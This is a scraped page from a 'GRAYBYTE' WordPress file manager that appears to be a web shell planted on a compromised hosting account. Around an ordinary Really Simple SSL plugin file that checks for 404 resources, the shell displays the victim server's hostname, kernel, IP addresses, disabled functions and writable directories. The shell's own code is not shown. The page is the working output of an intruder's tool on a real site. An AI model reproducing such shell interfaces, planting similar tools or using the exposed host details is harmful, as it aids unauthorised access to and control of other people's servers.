✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/wp-includes-20260826063326/envhttps/includes/check404//class-rsssl-test-404.php
<?php
namespace RSSSL\Security\Includes\Check404;

class Rsssl_Test_404 {
	// Static instance property
	public static $instance = null;

	// Private constructor to prevent direct instantiation
	private function __construct() {
		// Immediately check if there are resources to process and handle them
		$resources = get_option( 'rsssl_404_resources_to_check' );
		$found_404_option_value = get_option( 'rsssl_homepage_contains_404_resources', false );
		$found_404s = $found_404_option_value === true || $found_404_option_value === "true";

		if ( ! empty( $resources ) && ! $found_404s ) {
			// Trigger chunk processing if resources are pending
			$this->process_404_resources_chunk();
		}

		$this->fetch_and_check_homepage_resources();

	}

	// Static method to get the single instance of the class
	public static function get_instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	// Process resources in chunks
	public function process_404_resources_chunk() {
		$resources = get_option( 'rsssl_404_resources_to_check' );
		if ( empty( $resources ) ) {
			update_option( 'rsssl_homepage_contains_404_resources', 'false' );
			return false;
		}

		// Process a chunk of the resources (e.g., 2 at a time)
		$chunk_size      = 2;
		$resources_chunk = array_splice( $resources, 0, $chunk_size );

		$result = $this->process_404_resources( $resources_chunk );

		// Update the remaining resources back to the option
		if ( ! empty( $resources ) ) {
			update_option( 'rsssl_404_resources_to_check', $resources );
			return 'processing';
		} else {
			// All resources have been processed
			return $result;
		}
	}

	// Function to check homepage and handle 404s
	public static function homepage_contains_404_resources() {
		$found_404_option_value = get_option( 'rsssl_homepage_contains_404_resources', false );
		if ( $found_404_option_value === true || $found_404_option_value === "true" ) {
			return true;
		}

		$resources = get_option( 'rsssl_404_resources_to_check' );
		if ( ! empty( $resources ) ) {
			// If resources are available to check, process them immediately
			return self::get_instance()->process_404_resources_chunk();
		}

	}

	// Function to fetch homepage resources and check for 404 errors
	public function fetch_and_check_homepage_resources() {

		if ( get_option('rsssl_homepage_contains_404_resources') ) {
			return;
		}

		$site_url = trailingslashit( home_url() );

		$response = wp_remote_get( $site_url );
		if ( is_wp_error( $response ) ) {
			update_option( 'rsssl_homepage_contains_404_resources', false );
			return false;
		}

		$status_code = wp_remote_retrieve_response_code( $response );
		if ( $status_code == 404 ) {
			update_option( 'rsssl_homepage_contains_404_resources', true );
			return true;
		}

		// Patterns to match img, script, link tags
		$body     = wp_remote_retrieve_body( $response );
		$patterns = array(
			'/<img[^>]+src=([\'"])?((.*?)\1)/i',
			'/<script[^>]+src=([\'"])?((.*?)\1)/i',
			'/<link[^>]+href=([\'"])?((.*?)\1)/i'
		);

		$resources = array();
		foreach ( $patterns as $pattern ) {
			if ( preg_match_all( $pattern, $body, $matches ) ) {
				foreach ( $matches[2] as $resource_url ) {
					$resource_url = esc_url_raw( $resource_url );
					if ( strpos( $resource_url, $site_url ) !== false ) {
						$resources[] = $resource_url;
					}
				}
			}
		}

		if ( count( $resources ) > 2 ) {
			update_option( 'rsssl_404_resources_to_check', $resources );
			return $this->process_404_resources_chunk();
		} else {
			if ( empty( $resources ) ) {
				update_option( 'rsssl_homepage_contains_404_resources', 'false' );
				return false;
			}

			update_option( 'rsssl_404_resources_to_check', $resources );
			// Process all resources if fewer than 5
			return $this->process_404_resources( $resources );
		}
	}

	// Function to process a list of resources and check for 404 errors
	private function process_404_resources( $resources ) {
		$not_found_resources = array();

		foreach ( $resources as $resource_url ) {
			$resource_response = wp_remote_head( $resource_url );
			if ( is_wp_error( $resource_response ) ) {
				$not_found_resources[] = $resource_url . ' (Error: ' . $resource_response->get_error_message() . ')';
			} else {
				$resource_status = wp_remote_retrieve_response_code( $resource_response );
				if ( $resource_status == 404 ) {
					$not_found_resources[] = $resource_url;
				}
			}
		}

		if ( empty( $not_found_resources ) ) {
			update_option( 'rsssl_homepage_contains_404_resources', 'false' );
			return false;
		} else {
			update_option( 'rsssl_homepage_contains_404_resources', 'true' );
			return true;
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
26 Aug 2026 4.26 AM
docteuh / users
0755
class-rsssl-simple-404-interceptor.php
4.782 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
class-rsssl-test-404.php
4.572 KB
18 Jun 2026 6.25 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF